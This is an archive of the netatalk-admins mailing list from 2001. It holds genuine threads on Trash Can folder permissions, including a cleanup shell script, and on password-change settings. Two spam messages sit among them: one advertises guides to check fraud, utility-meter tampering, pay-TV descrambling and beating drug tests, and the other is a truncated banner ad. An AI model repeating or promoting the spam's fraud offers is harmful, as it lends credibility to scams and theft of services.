mailto:	hjebsen@hbv.de  (Henning Jebsen)
org: 	Heinrich Bauer Verlag
phone:	+49-40-3019-5525

From netatalk.administrators-errors@umich.edu  Tue May 29 17:53:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA20800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 29 May 2001 17:53:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10349
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 29 May 2001 17:53:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10331
	for netatalk.administrators-members@umich.edu; Tue, 29 May 2001 17:53:22 -0400 (EDT)
Received: from hunter.hating.com (hunter.hating.com [206.83.160.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA10290
	for <netatalk-admins@umich.edu>; Tue, 29 May 2001 17:53:21 -0400 (EDT)
Received: (qmail 8617 invoked by uid 523); 29 May 2001 21:53:05 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 29 May 2001 21:53:05 -0000
Date: Tue, 29 May 2001 14:53:05 -0700 (PDT)
From: Brendan Braybrook <erase@ming.org>
X-X-Sender:  <erase@hunter>
To: <netatalk-admins@umich.edu>
Subject: precompiled solaris 8 sun4u 64bit ddp module
Message-ID: <Pine.LNX.4.32.0105291445370.28574-100000@hunter>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

does anyone have a compiled 64bit ddp module for solaris 8 (usparc) that
they wouldn't mind tossing my way?

not having the sun compiler, i'm having a bit of difficulty getting a
module compiled on my own.. ;)

thanks

-brendan


From netatalk.administrators-errors@umich.edu  Wed May 30 04:37:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA07421
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 May 2001 04:37:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17947
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 May 2001 04:37:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17931
	for netatalk.administrators-members@umich.edu; Wed, 30 May 2001 04:37:28 -0400 (EDT)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA17885
	for <netatalk-admins@umich.edu>; Wed, 30 May 2001 04:37:26 -0400 (EDT)
From: kvaav454f2v56@yahoo.com
Received: from interfacesvr1.interfacetech.com.au ([203.108.36.190])
          by mta01.mail.mel.aone.net.au with ESMTP
          id <20010530083727.MNWT351.mta01.mail.mel.aone.net.au@interfacesvr1.interfacetech.com.au>;
          Wed, 30 May 2001 18:37:27 +1000
Received: from slip-12-64-80-174.mis.prserv.net by interfacesvr1.interfacetech.com.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id L18CWW9S; Wed, 30 May 2001 18:39:48 +1000
DATE: 30 May 01 1:43:08 AM
Message-ID: <Gxv00724py530j>
Content-Type: text/htmlSUBJECT: (None)

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF" text="#000000">
Educate yourself about everything you ever wanted to know !!!
<p>Individually, these products often sell for as much as $100!!!</p>
<p> </p>
<p>1. <font color="#FF0000">Satellite TV/RCA Dish Descrambler</font></p>
<p> </p>
<p>Our unique, complete plans for building your own home satellite TV descrambler. 
  For access to a clear reception of pay TV signals on your home satellite dish! 
  It does not require any additional equipment! Complete PC board template &amp; 
  instructions! This also includes a manual for accessing the RCA/DSS satellite 
  dish to receive free pay channels. All the latest information for doing it right. 
</p>
<p> </p>
<p>2.<font color="#FF0000"> X-Ray Envelope Spray</font></p>
<p> </p>
<p>Have you ever wanted to read the contents of an envelope without opening it? 
  Many government and other organizations use what is known as X-Ray Envelope 
  Spray to do this! An envelope is sprayed with this secret chemical and it becomes 
  translucent for a short period of time which allows the contents to be read 
  without opening. Private supply houses sell small cans of this aerosol spray 
  for up to $50 a can! The spray is actually a commonly available item found in 
  major grocery and discount stores. No modification of the spray is needed, as 
  it is ready to use as X-Ray Envelope Spray and sells for about $1.99 in retail 
  stores!</p>
<p> </p>
<p>3.<font color="#FF0000"> How to Find Anyone and Obtain Unlisted Phone Numbers.</font></p>
<p> </p>
<p>Tired of getting the wrong number? Stop looking! We can help! We'll show you 
  how to get the unlisted phone number of anyone. No one can hide now! Simple. 
  Skip tracers use these tricks. We also include everything you need to know about 
  finding missing people or loved ones from the comfort of your home. Why pay 
  money when you can do it yourself? </p>
<p> </p>
<p>4. <font color="#FF0000">Radar Zapper</font> </p>
<p> </p>
<p>This simply technique converts existing radar detectors into a device that 
  will jam police radar. This device sends false readings back to the police radar! 
  Works on virtually all detectors and easy to use!</p>
<p> </p>
<p>5.<font color="#FF0000"> Untraceable E-Mail </font></p>
<p> </p>
<p>How to send totally anonymous and untraceable E-mail. We're not talking about 
  those generic Yahoo! accounts -- this is the real McCoy, anonymous email. Everything 
  explained. Absolutely untraceable.</p>
<p> </p>
<p>6. <font color="#FF0000">Underground Guide to Utility Meters</font></p>
<p> </p>
<p>The illustrated guide to gas, water &amp; electric meters! We show you in detail 
  methods many people use to stop, slow down, even reverse all three types! This 
  underground manual is one of our most popular items! Complete illustrated techniques 
  and easy to do. Shows how to defeat all major brands &amp; models of gas, water 
  &amp; electric meters.</p>
<p> </p>
<p>7. <font color="#FF0000">Scan-Tron Genius</font></p>
<p> </p>
<p>Here at last!! This very controversial report describes in detail how any student 
  can easily defeat Scan-Tron test readers to pass a test even though he does 
  not know the answer! This simple method will fool the scan reader into thinking 
  your answered correctly! No tools needed. Completely tested. You won't believe 
  how simple this method is!</p>
<p> </p>
<p>8.<font color="#FF0000"> Bad Credit Cleaning Manual</font></p>
<p> </p>
<p>Simple ways to restore your bad credit rating to A++. Don't pay a credit counselor 
  good money to do what you can do yourself. Many methods presented here - some 
  legal &amp; some &quot;not so legal&quot;. Wipe your slate clean from your own 
  home. Get a fresh start.</p>
<p> </p>
<p>9<font color="#FF0000">. Pass Drug Tests </font></p>
<p> </p>
<p>Don't use of drugs! However, many innocent people are victims of drug testing. 
  Some over the counter medicine can trigger false results &amp; cost you your 
  job. Proven methods to beat drug tests. We show you how to build a simple device 
  that can fool the best! Protect yourself &amp; your job, even if you don't use 
  drugs.</p>
<p> </p>
<p>10.<font color="#FF0000">Cable TV Decoders</font></p>
<p> </p>
<p>How to get cable TV and turn your converter box into &quot;full service&quot; 
  mode. This is the latest and best way to gain access. Also, how to build your 
  own &quot;snooper stopper&quot; for pennies. Prevents cable companies from spying 
  on you.</p>
<p> </p>
<p>11. <font color="#FF0000">Free Long Distance</font></p>
<p> </p>
<p>You can make long distance calls to other countries at no cost! The information 
  in these reports explains everything you need to call other countries! Country 
  codes, city codes, overseas sender codes! Call England, Germany, the UK, practically 
  anywhere!</p>
<p> </p>
<p>12. <font color="#FF0000">Dissolving Checks</font></p>
<p> </p>
<p>We show you in detail the &quot;insufficient funds&quot; checks scam used by 
  people to obtain goods &amp; cash without having any money in the account. Many 
  people do not even use false ID's in pulling this scam off. Complete detailed 
  instructions plus rare information on the famous &quot;dissolving&quot; checks. 
  These checks &quot;dissolve&quot; after being chemically coated &amp; deposited 
  in the bank leaving no trace of the writer or account number. Not for illegal 
  purposes. See how others do it. </p>
<p> </p>
<p>13. <font color="#FF0000">Outsmart Lie Detector Tests</font></p>
<p> </p>
<p>Hundreds of thousands of people in this country are wrongfully fired or not 
  hired simply because they did not pass the lie detector test even though they've 
  done nothing wrong! Read drugless methods to help pass whether you are lying 
  or not! A valuable tool for any job seeker. Don't be harassed by your employer 
  ever again. Tested and proven.</p>
<p> </p>
<p>14.<font color="#FF0000"> Lock-picks &amp; Lock-picking</font></p>
<p> </p>
<p>Why buy expensive lock-picks &amp; pay for rip-off mail order locksmith courses? 
  We'll show you how to make your own professional lock-picks. Exact detailed 
  drawings &amp; construction techniques! This is perhaps the easiest to understand 
  course ever published on this hush-hush subject. You won't believe how easy 
  it is to make these tools! We also show you how a basic lock works &amp; how 
  they are picked. This publication is complete with detailed drawings &amp; illustrations.</p>
<p> </p>
<p>ALL IN ONE!!! PREVIOUSLY SOLD FOR HUNDREDS!!! ORDER NOW!!!</p>
<p> </p>
<p>That's 14 products, all for just $29.95 [shipping &amp; handling included]. 
  CA residents please add sales tax </p>
<p> </p>
<p>We accept cash, personal checks, money orders and cashiers checks. You must 
  include a </p>
<p>primary and secondary E-mail address as we will be emailing you all the reports 
  as soon as your payment is received.</p>
<p> </p>
<p>Print the following form &amp; mail it to:</p>
<p> </p>
<p><b>Info 4 Edu Only</b><br>
  1300 N. Cahuenga Blvd # 362</p>
<p>Los Angeles, CA 90028</p>
<p> </p>
<p>Please Print Clearly</p>
<p> </p>
<p>Name: _________________________________________________</p>
<p> </p>
<p>Primary Email Address: ___________________________________</p>
<p> </p>
<p>Secondary Email Address: _________________________________</p>
<p> </p>
<p>Make your check payable to: <b>Info 4 Edu Only</b></p>
<p> </p>
<p>DISCLAIMER: Please note that this information is being provided for educational 
  purposes only. The information itself is legal, while the usage of such information 
  may be illegal. We do not advocate unauthorized use or theft of any services. 
  If in doubt, check your local laws and act accordingly. NOTE: All of the publications 
  are Copyright 2001 by Info 4 Edu Only . We aggressively protect our copyrights 
  and will seek prosecution of any website, web-master, web hosting service or 
  anyone else that is in violation of US &amp; International Copyright Laws. </p>
<p> </p>
<p> </p>
<p>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@</p>
<p>This mailing is done by an independent marketing co. We apologize if this message 
  has reached you in error. Save the Planet, Save the Trees! Advertise via Email. 
  No wasted paper! Delete with one simple keystroke! Less refuse in our Dumps! 
  This is the new way of the new millennium. To be removed please email optmeout@aol.com 
  with the word &quot;remove&quot; in the subject line.</p>
<p>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>
</p>
</body>
</html>


From netatalk.administrators-errors@umich.edu  Wed May 30 11:03:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 May 2001 11:03:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19370
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 May 2001 11:02:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19346
	for netatalk.administrators-members@umich.edu; Wed, 30 May 2001 11:02:53 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA19318
	for <netatalk-admins@umich.edu>; Wed, 30 May 2001 11:02:51 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA10698;
	Wed, 30 May 2001 16:56:42 +0200
Message-ID: <3B150A2C.87B37EAA@euc.de>
Date: Wed, 30 May 2001 16:56:44 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralph Hackl <ralph.hackl@cancom.at>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: .AppleVolumes.default und Trash Can Folder 
 (ausnetatalk-admins@umich.edu)
References: <200105301429.QAA10531@mail.euc.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA19062

hmm,

sorry for the native support in german  :-)


also, eigentlich sollte es ganz einfach sein - hat aber bei uns noch
nicht ganz funktioniert.

AppleVolumes.default sorgt dafür, dass die User verschiedene Server
sehen. Mehr nicht

Bsp:
/data2/kunden "Kunden"
/data2/transfer/ "TransferVol" codepage:maccode.iso8859-1

Die erste Zeile zeigt auf ein Verzeichnis das nur von Mac-Usern benutzt
werden soll. Das zweite ist ein Transfer-Volume mit
Zeichensatz-Codierung, damit ein Samba-Server damit klar kommt.

Das Verzeichnis /data2/kunden/ sollte mit chmod 2775 chgrp users chown
nobody ausgezeichnet sein.
Dann sollte es funktionieren, dass alle Benutzer eigene Trash-Cans
nutzen können. Leider haben wir das aber noch nicht ganz zum Laufen bekommen.

Hier sieht es momentan so aus, dass nur der erste, der das Verzeichnis
mounted und etwas in den Trash schiebt, diesen dann für die anderen
blockiert. Ist die Datei aus dem Trash gelöscht kann der nächste löschen.

Meine Idee war es, dem User einen symbolischen Link in das
Home-Verzeichnis zu legen, der auf das Verzeichnis /data2/kunden/ zeigt.
Der User bekommt in sein home-Verzeichnis eine Version des .AppleVolumes
Files. Dann wird der Trash in seinem Homeverzeichnis angelegt. Das ist
aber insofern doof, da dann z.B. die Bezüge in Xpress mit den Referenzen
auf platzierte Bilder fliegen gehen.

Soweit dazu. sollten wir das Problem lösen sagen wir Bescheid.
Anscheinend sind wir demnach aber nicht der einzige, bei dem das klemmt.

Ralph Hackl wrote:
> 
> Entschuldigen Sie die Störung.
> Habe leider nicht ganz verstamden welche Einstellungen im
> AppleVolumes.default
> nötig sind um jedem Benutzer zu ermöglichen Dateien in den Papierkorb zu
> legen.
> 
> mfg
> --
> --------------------------------------------------------------
> Ralph Hackl                          |
> CANCOM Computersysteme GmbH          |   L I N U X       .~.
> A-8042 Graz, Koeglerweg 50, Austria  |  The  Choice      /V\
> phone:  +43 (0)316 4006 20 (fax -4)  |   of a  GNU      /( )\
> e-mail: ralph.hackl@cancom.at        |  Generation      ^^-^^

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Wed May 30 11:05:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA19171
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 30 May 2001 11:05:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15772
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 30 May 2001 11:05:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA15761
	for netatalk.administrators-members@umich.edu; Wed, 30 May 2001 11:05:10 -0400 (EDT)
Received: from mail.cancom.at (mail.cancom.at [212.152.177.74])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA15731
	for <netatalk-admins@umich.edu>; Wed, 30 May 2001 11:05:08 -0400 (EDT)
Message-Id: <200105301505.LAA15731@kingcreole.mr.itd.umich.edu>
Received: (qmail 17474 invoked from network); 30 May 2001 15:07:37 -0000
Received: from gptp28-2.net.uta.at (HELO ?10.0.0.120?) (@212.152.180.110)
  by mail.cancom.at with SMTP; 30 May 2001 15:07:37 -0000
X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410)
Date: Wed, 30 May 2001 17:05:39 +0100
Subject: Cant=?ISO-8859-1?B?tA==?=t put Files into Trash Can.
From: "Ralph Hackl" <ralph.hackl@cancom.at>
To: netatalk-admins@umich.edu
Mime-version: 1.0
X-Priority: 3
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I installed 1.5pre6 on a SuSE 7.1 Distribution and got the problem, that no
usr can put files into the Trash without deleting it.
Where is the trick?
thank you for your help.

--
--------------------------------------------------------------
Ralph Hackl                          |
CANCOM Computersysteme GmbH          |   L I N U X       .~.
A-8042 Graz, Koeglerweg 50, Austria  |  The  Choice      /V\
phone:  +43 (0)316 4006 20 (fax -4)  |   of a  GNU      /( )\
e-mail: ralph.hackl@cancom.at        |  Generation      ^^-^^





From netatalk.administrators-errors@umich.edu  Thu May 31 08:26:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 May 2001 08:26:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06489
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 May 2001 08:26:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06461
	for netatalk.administrators-members@umich.edu; Thu, 31 May 2001 08:26:57 -0400 (EDT)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06426
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 08:26:55 -0400 (EDT)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id OAA29057;
	Thu, 31 May 2001 14:26:51 +0200 (MET DST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP
	id CAFF13F3; Thu, 31 May 2001 14:26:47 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B16387B.EF0C690A@hbv.de>
Date: Thu, 31 May 2001 14:26:35 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: Mac Conin <mconin@euc.de>
Cc: Ralph Hackl <ralph.hackl@cancom.at>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: My solution: Trash Can Folder 
References: <200105301429.QAA10531@mail.euc.de> <3B150A2C.87B37EAA@euc.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Folks

Lots of time I spent to solve those problems with the Trash Folder.
Like it
seems to me ;-) I found a solution for existing Trash Folders.
The Folder should not be owned by any of its users. And the Folder
should have rwx to the group. Here is my script for existing
Trash folders. (Any content will be removed!)

if test -d "$verz"/Network\ Trash\ Folder/;then 
        echo "#" 
        echo "# Korrekturen des Volumes:" 
        echo "# Trash Folder dieses Volumes" 
        echo "#" 
        echo "chmod o-rwx       $verz/Network\ Trash\ Folder/ -R" 
        echo "chgrp trashusers  $verz/Network\ Trash\ Folder/ -R" 
        echo "chown nobody      $verz/Network\ Trash\ Folder/" 
        echo "chmod g+rwx       $verz/Network\ Trash\ Folder/" 
        echo "rm -rf            $verz/Network\ Trash\ Folder/Tra*" 
 fi 

Any MAC-User has to be member of trashusers.

New created trashfolders will be created with unsufficient rights.
They need to be "converted" by this script.

The client only gets affected after it *remounts* the complete volume.
But there is no need to restart afpd or netatalk completely.


--
mailto:	hjebsen@hbv.de  (Henning Jebsen)
org: 	Heinrich Bauer Verlag
phone:	+49-40-3019-5525

From netatalk.administrators-errors@umich.edu  Thu May 31 09:45:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA29062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 May 2001 09:45:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA03051
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 May 2001 09:45:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA03036
	for netatalk.administrators-members@umich.edu; Thu, 31 May 2001 09:45:27 -0400 (EDT)
Received: from ccgate.goldenbooks.com (mail.goldenbooks.com [205.243.222.114])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA02982
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 09:45:26 -0400 (EDT)
From: JSherry@goldenbooks.com
Received: from ccMail by ccgate.goldenbooks.com
  (IMA Internet Exchange 3.11) id 001B37A1; Thu, 31 May 2001 08:48:30 -0400
Mime-Version: 1.0
Date: Thu, 31 May 2001 09:36:00 -0400
Message-ID: <001B37A1.C21126@goldenbooks.com>
Subject: RE: Changing Passwords
To: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part

Bryn,
I'm running the same ver. of netatalk on Redhat. I found that by adding
"-setpassword" to your server config line in afpd.conf, the change password
dialog becomes accessible. That said, on my beige G3, going through the dialog
results in an error message instead of a successful password change. I'll try a
different computer, but I suspect that's not the problem.
-jb

-----Original Message-----
From: "Bryn Hughes" <bhughes@vcc.bc.ca> at Internet-RAC
Sent: Thursday, May 24, 2001 3:00 PM
To: <netatalk-admins@umich.edu> at Internet-RAC
Subject: Changing Passwords


I'm currently running netatalk-1.4b2+asun2.1.3-8 on Yellow Dog Linux 1.2 (it's
the version that comes bundled with YDL).

Currently users are unable to change their passwords.  The "Set Password" button
is greyed out completely.  I can't find anything anywhere that would
allow/disable this in the config files, so I'm wondering what I'm missing.
Anyone have any ideas?

Thanks in advance,

Bryn

From netatalk.administrators-errors@umich.edu  Thu May 31 11:37:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA03266
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 May 2001 11:37:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22560
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 May 2001 11:37:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22542
	for netatalk.administrators-members@umich.edu; Thu, 31 May 2001 11:37:30 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA22504
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 11:37:28 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 31 May 2001 08:37:19 -0700
Message-Id: <sb1602bf.052@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 31 May 2001 08:37:02 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: RE: Changing Passwords
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA03266

I'm having exactlly the same problem now.  I added the -setpassword option, no dice.  The Yellow Dog Linux 1.2 distribution is actually Red Hat 6.2 ported to PPC, so we have the same versions of everything pretty much.

Bryn

>>> <JSherry@goldenbooks.com> - 5/31/01 6:36 AM >>>
Bryn,
I'm running the same ver. of netatalk on Redhat. I found that by adding
"-setpassword" to your server config line in afpd.conf, the change password
dialog becomes accessible. That said, on my beige G3, going through the dialog
results in an error message instead of a successful password change. I'll try a
different computer, but I suspect that's not the problem.
-jb

-----Original Message-----
From: "Bryn Hughes" <bhughes@vcc.bc.ca> at Internet-RAC
Sent: Thursday, May 24, 2001 3:00 PM
To: <netatalk-admins@umich.edu> at Internet-RAC
Subject: Changing Passwords


I'm currently running netatalk-1.4b2+asun2.1.3-8 on Yellow Dog Linux 1.2 (it's
the version that comes bundled with YDL).

Currently users are unable to change their passwords.  The "Set Password" button
is greyed out completely.  I can't find anything anywhere that would
allow/disable this in the config files, so I'm wondering what I'm missing.
Anyone have any ideas?

Thanks in advance,

Bryn



From netatalk.administrators-errors@umich.edu  Thu May 31 16:56:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA15335
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 May 2001 16:56:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27275
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 May 2001 16:56:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27270
	for netatalk.administrators-members@umich.edu; Thu, 31 May 2001 16:56:50 -0400 (EDT)
Received: from net.hr (d127-69.net4u.hr [195.29.127.69])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA27238
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 16:56:41 -0400 (EDT)
Message-Id: <200105312056.QAA27238@roustabout.mr.itd.umich.edu>
From: "zlobecsport" <zlobecsport@net.hr>
To: <netatalk-admins@umich.edu>
Subject: (XXX) Request for CPM on Zlobecsport
Sender: "zlobecsport" <zlobecsport@net.hr>
Mime-Version: 1.0
Content-Type: text/html; charset="ISO-8859-1"
Date: Thu, 31 May 2001 22:57:27 +0200
Reply-To: "zlobecsport" <zlobecsport@net.hr>
Content-Transfer-Encoding: 8bit

<html>
<head>
<title>ZlobecsportAMATEURS</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<div align="center">
  <table width="532" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><font size="1" face="Arial, Helvetica, sans-serif"><b><font color="#666666">We 
        need sponsors!</font></b></font></td>
    </tr>
  </table>
  <br>
  <table cellspacing=0 cellpadding=0 width=551 border=0>
    <tbody> 
    <tr> 
      <td width=1 bgcolor=#cccc99><spacer height="1" width="1" 
            type="BLOCK"></spacer></td>
      <td width=336> 
        <div><img height=1 src="Fashion Net Summary_files/temp.line.gif" 
            width=306 border=0></div>
        <table cellspacing=0 cellpadding=0 width=336 border=0>
          <tbody> 
          <tr valign=center> 
            <td width=30 bgcolor=#cccc99>&nbsp;</td>
            <td width=9><spacer height="1" width="5" 
                type="BLOCK"></spacer></td>
            <td class=pageName width=297><font size="2" face="Arial, Helvetica, sans-serif"><b>ZlobecsportAMATEURS 
              Summary</b></font></td>
          </tr>
          <tr> 
            <td bgcolor=#cccc99 colspan=3 height=2><spacer height="1" 
                  width="1" type="BLOCK"></spacer></td>
          </tr>
          <tr> 
            <td height=11 width="30"></td>
          </tr>
          </tbody> 
        </table>
      </td>
      <td valign=bottom width=214>&nbsp;</td>
    </tr>
    </tbody> 
  </table>
  <table cellspacing=0 cellpadding=0 width=552 border=0>
    <tbody> 
    <tr> 
      <td width=1 bgcolor=#cccc99 height="1305"><spacer height="1" width="1" 
            type="BLOCK"></spacer></td>
      <td width=551 height="1305"> 
        <div class=bodyText> 
          <p><font size="2" face="sans-serif"> </font><font face="sans-serif"><font face="Arial" size="-1"><br>
            <i><font color="#0000FF"><b>Banner Advertising on Zlobecsportamateurs</b></font></i><br>
            <br>
            Increase your site's revenue and grow your business online<br>
            Join one of the best quality branded site on the Web<br>
            <b>Receive an average of twice as many quality clicks per month</b>!!<br>
            <br>
            <i><font color="#0000FF">Take me to the top</font></i>: Position yourself 
            as the #1<br>
            <br>
            Email or phone one of Zlobecsport specialists to find out about banner 
            advertising </font></font></p>
        </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=2>&nbsp;</td>
              <td class=snapshotUrl width=508 height="2"><a 
